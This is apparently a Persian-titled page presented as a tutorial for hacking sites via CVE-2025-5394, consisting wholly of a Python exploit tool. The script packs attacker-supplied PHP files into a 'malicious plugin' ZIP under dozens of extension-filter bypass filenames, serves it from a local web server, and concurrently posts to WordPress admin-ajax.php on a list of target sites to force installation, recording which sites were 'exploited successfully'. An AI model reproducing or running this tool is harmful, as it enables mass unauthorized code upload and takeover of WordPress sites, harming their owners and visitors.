اموزش هک سایت با آسیب‌پذیری: CVE-2025-5394

				
					import aiohttp
import asyncio
import json
import logging
import argparse
import zipfile
import os
import shutil
import tempfile
from tqdm import tqdm
from datetime import datetime
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import socket

PLUGIN_SLUG = ""
TARGET_FILE = ""
RESULT_FILE = "result.txt"
MAX_CONCURRENT = 50
PHP_DIR = "home"
ZIP_FILE = "malicious_plugin.zip"
LOCAL_HOST = "127.0.0.1"
LOCAL_PORT = 8000
ZIP_URL = f"http://{LOCAL_HOST}:{LOCAL_PORT}/{ZIP_FILE}"

lock = asyncio.Lock()
success_list = []

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
logger = logging.getLogger(__name__)

BYPASS_EXTENSIONS = [
    '.php', '.php2', '.php3', '.php4', '.php5', '.php6', '.php7', '.phps', '.pht', '.phtm', '.phtml', '.pgif', '.shtml', '.htaccess', '.phar', '.inc', '.hphp', '.ctp', '.module',
    '.asp', '.aspx', '.config', '.ashx', '.asmx', '.aspq', '.axd', '.cshtm', '.cshtml', '.rem', '.soap', '.vbhtm', '.vbhtml', '.asa', '.cer', '.shtml',
    '.jsp', '.jspx', '.jsw', '.jsv', '.jspf', '.wss', '.do', '.action',
    '.cfm', '.cfml', '.cfc', '.dbm',
    '.swf',
    '.pl', '.cgi',
    '.yaws'
]

PHPV8_EXTS = ['.php', '.php4', '.php5', '.phtml', '.module', '.inc', '.hphp', '.ctp']

VALID_PREPEND_EXTS = ['.png', '.jpg', '.gif', '.jpeg', '.txt']
SPECIAL_CHARS = ['%20', '%0a', '%00', '%0d%0a', '/', '.', '....']
JUNK_DATA = ['#', '%00', '\\x00', '%0a', '%0d%0a', 'Junk123']

def get_uppercase_variations(ext):
    return [ext.upper(), ext.lower(), ext.capitalize(), ext.swapcase()]

def generate_bypass_filenames(base_name):
    filenames = []
    for ext in BYPASS_EXTENSIONS + PHPV8_EXTS:
        filenames.append(base_name + ext)
        for var in get_uppercase_variations(ext):
            filenames.append(base_name + var)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            filenames.append(base_name + valid + ext)
            for var in get_uppercase_variations(ext):
                filenames.append(base_name + valid + var)
    for ext in BYPASS_EXTENSIONS:
        for char in SPECIAL_CHARS:
            filenames.append(base_name + ext + char)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            for junk in JUNK_DATA:
                filenames.append(base_name + ext + junk + valid)
                filenames.append(base_name + valid + ext)
                filenames.append(base_name + ext + '.' + valid)
    for valid1 in VALID_PREPEND_EXTS:
        for valid2 in VALID_PREPEND_EXTS:
            for ext in BYPASS_EXTENSIONS:
                filenames.append(base_name + valid1 + valid2 + ext)
                filenames.append(base_name + ext + '%00' + valid1 + '%00' + valid2)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            filenames.append(base_name + ext + valid)
    return list(set(filenames))

def create_plugin_zip(php_dir, zip_file):
    if os.path.exists(zip_file):
        os.remove(zip_file)
    with zipfile.ZipFile(zip_file, 'w') as zipf:
        plugin_header = "<?php\n/*\nPlugin Name: Malicious Plugin\nVersion: 1.0\n*/\n"
        zipf.writestr(f"{PLUGIN_SLUG}/{PLUGIN_SLUG}.php", plugin_header)
        for root, _, files in os.walk(php_dir):
            for file in files:
                if file.endswith('.php'):
                    file_path = os.path.join(root, file)
                    with open(file_path, 'rb') as f:
                        content = f.read()
                    base_name = os.path.relpath(file_path, php_dir).replace('.php', '').replace(os.sep, '/')
                    bypass_names = generate_bypass_filenames(base_name)
                    for bypass_name in bypass_names:
                        zip_path = f"{PLUGIN_SLUG}/{bypass_name}"
                        zipf.writestr(zip_path, content)
                        logger.info(f"Added {zip_path} to ZIP")

def start_local_server():
    def run_server():
        os.chdir(os.path.dirname(ZIP_FILE) or '.')
        handler = SimpleHTTPRequestHandler
        with HTTPServer((LOCAL_HOST, LOCAL_PORT), handler) as httpd:
            logger.info(f"Serving ZIP at {ZIP_URL}")
            httpd.serve_forever()
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()
    return server_thread

def parse_args():
    parser = argparse.ArgumentParser(description="WordPress Plugin Exploit Tool with Bypass")
    parser.add_argument("-f", "--file", required=True, help="File containing target URLs")
    parser.add_argument("-p", "--plugin", required=True, help="Plugin slug to exploit")
    parser.add_argument("-d", "--dir", default=PHP_DIR, help="Directory containing PHP files")
    parser.add_argument("-o", "--output", default=RESULT_FILE, help="Output file")
    parser.add_argument("--host", default=LOCAL_HOST, help="Local host IP")
    parser.add_argument("--port", type=int, default=LOCAL_PORT, help="Local port")
    return parser.parse_args()

async def exploit(target, session):
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "beplus_import_pack_install_plugin",
        "data[plugin_slug]": PLUGIN_SLUG,
        "data[plugin_source]": ZIP_URL
    }
    try:
        async with session.post(url, data=data, timeout=15) as response:
            status_code = response.status
            text = await response.text()
            if not text.strip():
                logger.warning(f"FAIL: {target} - Empty response")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": "Empty response",
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
                return
            if status_code != 200:
                error_msg = {
                    403: "Forbidden",
                    404: "Not Found",
                    500: "Internal Server Error",
                    502: "Bad Gateway",
                    503: "Service Unavailable"
                }.get(status_code, f"HTTP Error {status_code}")
                logger.warning(f"FAIL: {target} - {error_msg} (HTTP {status_code})")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": error_msg,
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
                return
            if '"success":true' in text and '"status":true' in text:
                async with lock:
                    success_list.append(target)
                    logger.info(f"SUCCESS: {target}")
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "success",
                            "http_status": status_code,
                            "response_snippet": text[:100],
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
            else:
                logger.warning(f"FAIL: {target} - No success indicators in response")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": "No success indicators",
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
    except aiohttp.ClientConnectionError:
        logger.error(f"CONNECTION ERROR on {target}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": "Connection Error",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")
    except asyncio.TimeoutError:
        logger.error(f"TIMEOUT on {target}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": "Timeout",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")
    except Exception as e:
        logger.error(f"UNKNOWN ERROR on {target}: {e}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": f"Unknown Error: {str(e)}",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")

def load_targets(filename):
    with open(filename, "r") as f:
        return [line.strip() for line in f if line.strip()]

async def main():
    global PLUGIN_SLUG, TARGET_FILE, RESULT_FILE, PHP_DIR, ZIP_FILE, ZIP_URL, LOCAL_HOST, LOCAL_PORT
    args = parse_args()
    PLUGIN_SLUG = args.plugin
    TARGET_FILE = args.file
    RESULT_FILE = args.output
    PHP_DIR = args.dir
    LOCAL_HOST = args.host
    LOCAL_PORT = args.port
    ZIP_URL = f"http://{LOCAL_HOST}:{LOCAL_PORT}/{os.path.basename(ZIP_FILE)}"
    create_plugin_zip(PHP_DIR, ZIP_FILE)
    server_thread = start_local_server()
    await asyncio.sleep(1)
    targets = load_targets(TARGET_FILE)
    open(RESULT_FILE, "w").close()
    sem = asyncio.Semaphore(MAX_CONCURRENT)
    async def sem_exploit(target, session):
        async with sem:
            await exploit(target, session)
    async with aiohttp.ClientSession() as session:
        tasks = [sem_exploit(target, session) for target in targets]
        for f in tqdm(asyncio.as_completed(tasks), total=len(targets), desc="Scanning"):
            await f
    logger.info(f"Done. {len(success_list)} site(s) exploited successfully. Saved to {RESULT_FILE}")

if __name__ == "__main__":
    asyncio.run(main())